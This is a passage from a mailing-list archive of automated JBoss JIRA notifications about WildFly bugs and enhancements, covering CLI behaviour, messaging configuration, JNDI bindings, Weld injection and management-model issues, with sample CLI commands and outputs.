>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section (wrong values):
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are (correct values):
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:22:03 2013
From: jira-events at lists.jboss.org (Karsten Jorgensen (JIRA))
Date: Fri, 13 Sep 2013 09:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) CLI fails to show app status
 when runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.25613.1379078523488@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804169#comment-12804169 ] 

Karsten Jorgensen commented on WFLY-2061:
-----------------------------------------

If the "name" is not identical to the "runtime-name", it is also not possible to check statistics like the number of instances of some session bean. I don't know if the root cause of this is the same as the root cause of not being able to check the application status?
                
> CLI fails to show app status when runtime-name is different from the deployment name
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI, Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:30:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 13 Sep 2013 09:30:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2067) Ability to get result data
 from CLI batches
In-Reply-To: <JIRA.12500684.1379078996415@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500684.1379078996415@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500684.1379078996415.25649.1379079004610@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2067:
--------------------------------------

             Summary: Ability to get result data from CLI batches
                 Key: WFLY-2067
                 URL: https://issues.jboss.org/browse/WFLY-2067
             Project: WildFly
          Issue Type: Enhancement
          Components: CLI
            Reporter: Brian Stansberry
            Assignee: Alexey Loubyansky


The CLI batch feature doesn't provide any details on the result other than success or failure. This is appropriate for some use cases, but isn't for others, e.g. https://gist.github.com/heiko-braun/6550656

It would be nice to give users the ability to request the full result output, e.g. something like 

run-batch --verbose

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:39:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Fri, 13 Sep 2013 09:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2067) Ability to get result data
 from CLI batches
In-Reply-To: <JIRA.12500684.1379078996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500684.1379078996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500684.1379078996000.25659.1379079543588@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2067?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804175#comment-12804175 ] 

Jeff Mesnil commented on WFLY-2067:
-----------------------------------

I'm working on a bug in the messaging subsystem about using a batch and it'd be nice if the batch execution would include operation-headers.

The execution of my batch requires to reload the server but the user has no info from the CLI about it.
                
> Ability to get result data from CLI batches
> -------------------------------------------
>
>                 Key: WFLY-2067
>                 URL: https://issues.jboss.org/browse/WFLY-2067
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: CLI
>            Reporter: Brian Stansberry
>            Assignee: Alexey Loubyansky
>
> The CLI batch feature doesn't provide any details on the result other than success or failure. This is appropriate for some use cases, but isn't for others, e.g. https://gist.github.com/heiko-braun/6550656
> It would be nice to give users the ability to request the full result output, e.g. something like 
> run-batch --verbose

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:43:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 09:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for <all /> in
 the role-mapping include definitions.
In-Reply-To: <JIRA.12500685.1379079668597@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668597@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668597.25662.1379079783852@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2068:
--------------------------------------

             Summary: Add support for <all /> in the role-mapping include definitions.
                 Key: WFLY-2068
                 URL: https://issues.jboss.org/browse/WFLY-2068
             Project: WildFly
          Issue Type: Enhancement
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Optional
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:43:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 09:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1852) Populate the Subject with the
 required prinicpals for rbac/audit logging earlier
In-Reply-To: <JIRA.12498266.1375974256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498266.1375974256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498266.1375974256000.25666.1379079784012@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1852?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1852:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Populate the Subject with the required prinicpals for rbac/audit logging earlier
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1852
>                 URL: https://issues.jboss.org/browse/WFLY-1852
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Security
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> At the moment these are added in a number of places, see TODO comments with this JIRA id.
> I also commented your concern a few lines down for https://github.com/wildfly/wildfly/pull/4889#commitcomment-3808535: "Do we need to use the Remoting version of this Principal - not sure if a new Principal may be better that is used both for web and for Remoting."

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:51:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Fri, 13 Sep 2013 09:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2069) can not switch from connector
 to discovery-group-name for JMS (pooled-) connection factories
In-Reply-To: <JIRA.12500687.1379080160449@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500687.1379080160449@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500687.1379080160449.25669.1379080263411@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2069:
---------------------------------

             Summary: can not switch from connector to discovery-group-name for JMS (pooled-) connection factories 
                 Key: WFLY-2069
                 URL: https://issues.jboss.org/browse/WFLY-2069
             Project: WildFly
          Issue Type: Feature Request
          Components: JMS
    Affects Versions: 8.0.0.Alpha4
            Reporter: Jeff Mesnil
            Assignee: Jeff Mesnil
             Fix For: 8.0.0.Beta1


connectors and discovery-group-name are alternative attributes of JMS (pooled) connection factories.

If a resource defines one of this attribute, it must be able to "switch" to the other by running a batch command to:

1. undefine the attribute
2. write the value of the other attribute

This currently does not work:

{noformat}
[standalone at localhost:9999 /] batch
[standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
#1 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
[standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
#2 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
[standalone at localhost:9999 / #] run-batch
{"JBAS014653: Composite operation failed and was rolled back. Steps that failed:" => {"Operation step-1" => "JBAS011630: Alternative attribute of (connector) is already defined."}}
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:51:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 13 Sep 2013 09:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2068) Add support for <all /> in
 the role-mapping include definitions.
In-Reply-To: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500685.1379079668000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500685.1379079668000.25674.1379080263627@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2068?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2068:
-----------------------------------

    Priority: Major  (was: Optional)


Not optional. Darran, please let me know if you won't have time to do this by Monday. Thanks.
                
> Add support for <all /> in the role-mapping include definitions.
> ----------------------------------------------------------------
>
>                 Key: WFLY-2068
>                 URL: https://issues.jboss.org/browse/WFLY-2068
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:55:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Fri, 13 Sep 2013 09:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2069) can not switch from connector
 to discovery-group-name for JMS (pooled-) connection factories
In-Reply-To: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500687.1379080160000.25676.1379080503891@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2069?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Mesnil updated WFLY-2069:
------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> can not switch from connector to discovery-group-name for JMS (pooled-) connection factories 
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2069
>                 URL: https://issues.jboss.org/browse/WFLY-2069
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> connectors and discovery-group-name are alternative attributes of JMS (pooled) connection factories.
> If a resource defines one of this attribute, it must be able to "switch" to the other by running a batch command to:
> 1. undefine the attribute
> 2. write the value of the other attribute
> This currently does not work:
> {noformat}
> [standalone at localhost:9999 /] batch
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> #1 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> #2 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> [standalone at localhost:9999 / #] run-batch
> {"JBAS014653: Composite operation failed and was rolled back. Steps that failed:" => {"Operation step-1" => "JBAS011630: Alternative attribute of (connector) is already defined."}}
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:02:03 2013
From: jira-events at lists.jboss.org (Lieven Doclo (JIRA))
Date: Fri, 13 Sep 2013 10:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2070) Allow for deployable JNDI
	resource file
In-Reply-To: <JIRA.12500689.1379080909742@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500689.1379080909742@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500689.1379080909742.25704.1379080923688@jira02.app.mwc.hst.phx2.redhat.com>

Lieven Doclo created WFLY-2070:
----------------------------------

             Summary: Allow for deployable JNDI resource file
                 Key: WFLY-2070
                 URL: https://issues.jboss.org/browse/WFLY-2070
             Project: WildFly
          Issue Type: Feature Request
          Components: Naming
            Reporter: Lieven Doclo
            Assignee: Eduardo Martins


It would be nice to have a deployable xml file to add simple JNDI bindings. Something like the *-ds.xml files.

For example:

{code:xml}
<?xml version="1.0" encoding="UTF-8"?>
<naming>
  <bindings>
    <simple name="java:/url/some_url_resource" value="file://..." type="java.net.URL"/>
  </bindings>
</naming>
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:28:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 10:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2069) can not switch from connector
 to discovery-group-name for JMS (pooled-) connection factories
In-Reply-To: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500687.1379080160000.25741.1379082483362@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2069?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2069:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1001612

    
> can not switch from connector to discovery-group-name for JMS (pooled-) connection factories 
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2069
>                 URL: https://issues.jboss.org/browse/WFLY-2069
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> connectors and discovery-group-name are alternative attributes of JMS (pooled) connection factories.
> If a resource defines one of this attribute, it must be able to "switch" to the other by running a batch command to:
> 1. undefine the attribute
> 2. write the value of the other attribute
> This currently does not work:
> {noformat}
> [standalone at localhost:9999 /] batch
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> #1 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> #2 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> [standalone at localhost:9999 / #] run-batch
> {"JBAS014653: Composite operation failed and was rolled back. Steps that failed:" => {"Operation step-1" => "JBAS011630: Alternative attribute of (connector) is already defined."}}
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 10:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-789) HornetQ native library(AIO)
 are loaded by default - for transaction manager using hornetq object store
In-Reply-To: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487704.1363871144000.25783.1379083383878@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-789?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804197#comment-12804197 ] 

RH Bugzilla Integration commented on WFLY-789:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 913117|https://bugzilla.redhat.com/show_bug.cgi?id=913117] from POST to MODIFIED
                
> HornetQ native library(AIO) are loaded by default - for transaction manager using hornetq object store
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-789
>                 URL: https://issues.jboss.org/browse/WFLY-789
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The issue cloned for upstream from an EAP6 bugzilla.
> original description:
> {quote}
> It seems that in case that of using hornetq for implementation of object store (configuration of transaction subsystem via <use-hornetq-store/> tag) the native library (AIO) is used automatically without necessity of user confirmation.
> For EAP 6.0.1 was decided that native library can't be used without explicit customer configuration request. Please check discussion on bug #900591.
> The NIO should be used until customer defined otherwise.
> The configuration option is missing in TM and after the adding it the EAP configuration should reflect fact that the default behaviour should be NIO.
> {quote}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:45:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 10:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1620) EJB in CDI enabled module
 gets registered twice leading to WELD-001409 Ambiguous dependencies...
In-Reply-To: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495442.1372692661000.25793.1379083504449@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1620?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804199#comment-12804199 ] 

RH Bugzilla Integration commented on WFLY-1620:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 980183|https://bugzilla.redhat.com/show_bug.cgi?id=980183] from POST to MODIFIED
                
> EJB in CDI enabled module gets registered twice leading to WELD-001409 Ambiguous dependencies...
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1620
>                 URL: https://issues.jboss.org/browse/WFLY-1620
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> If you have this no-interface @Stateless EJB in the module and have a
> beans.xml inside the module jar as well and then have a deployment
> depends on & imports the annotations, and then uses @Inject TestEjb,
> Weld will complain that there are two options an EJB and a ManagedBean
> and it doesn't know which to inject. According to [1] it should only be
> considered a managed bean if "It is not annotated with an EJB
> component-defining annotation or declared as an EJB bean class in
> |ejb-jar.xml|." 
> The error:
> WELD-001409 Ambiguous dependencies for type [TestEjb] with qualifiers [@Default] at injection point [[field] @Inject test.webapp.TestService.testEjb].
> Possible dependencies [[Session bean [class test.TestEjb with qualifiers [@Any @Default]; local interfaces are [TestEjb], Managed Bean [class test.TestEjb] with qualifiers [@Any @Default]]] 
> @Stateless
> public class TestEjb
> {
> public String hello() {
> return "Hello";
> }
> }
> If I move all of the classes into the test war, then Weld doesn't have
> an issue, so it seems there is some difference when the code is put into
> the modules directory.
> [1] http://docs.jboss.org/weld/reference/1.0.1-Final/en-US/html_single/#d0e792 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:51:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Fri, 13 Sep 2013 10:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2070) Allow for deployable JNDI
	resource file
In-Reply-To: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500689.1379080909000.25812.1379083863320@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804204#comment-12804204 ] 

Eduardo Martins commented on WFLY-2070:
---------------------------------------

You can do that using EE application xml descriptor, EE component xml descriptors and through Wildfly Naming subsystem configuration (xml or management tools), depending on the scope you want for the bindings, so why the need for this?
                
> Allow for deployable JNDI resource file
> ---------------------------------------
>
>                 Key: WFLY-2070
>                 URL: https://issues.jboss.org/browse/WFLY-2070
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Lieven Doclo
>            Assignee: Eduardo Martins
>
> It would be nice to have a deployable xml file to add simple JNDI bindings. Something like the *-ds.xml files.
> For example:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <naming>
>   <bindings>
>     <simple name="java:/url/some_url_resource" value="file://..." type="java.net.URL"/>
>   </bindings>
> </naming>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 10:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 10:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.25817.1379084163417@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804205#comment-12804205 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303]

The received command has lost the first escaped quote
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.25871.1379085123375@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804211#comment-12804211 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417] from ASSIGNED to POST
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:31:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Fri, 13 Sep 2013 11:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2071) Messaging queue attributes
 must be read-only
In-Reply-To: <JIRA.12500697.1379086256230@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500697.1379086256230@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500697.1379086256230.25900.1379086263805@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2071:
---------------------------------

             Summary: Messaging queue attributes must be read-only
                 Key: WFLY-2071
                 URL: https://issues.jboss.org/browse/WFLY-2071
             Project: WildFly
          Issue Type: Feature Request
          Components: JMS
    Affects Versions: 8.0.0.Alpha4
            Reporter: Jeff Mesnil
            Assignee: Jeff Mesnil
             Fix For: 8.0.0.Beta1


Currently, the messaging subsystem's queue and jms-queue resources defines attributes that are writable (eg filter and durable attribute).

This is not correct, once a queue is created with these attributes, they can not be changed for the lifetime of a queue (a durable queue can not become non-durable).


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 11:33:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 11:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2071) Messaging queue attributes
 must be read-only
In-Reply-To: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500697.1379086256000.25904.1379086383513@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2071?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2071:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004789

    
> Messaging queue attributes must be read-only
> --------------------------------------------
>
>                 Key: WFLY-2071
>                 URL: https://issues.jboss.org/browse/WFLY-2071
>             Project: WildFly
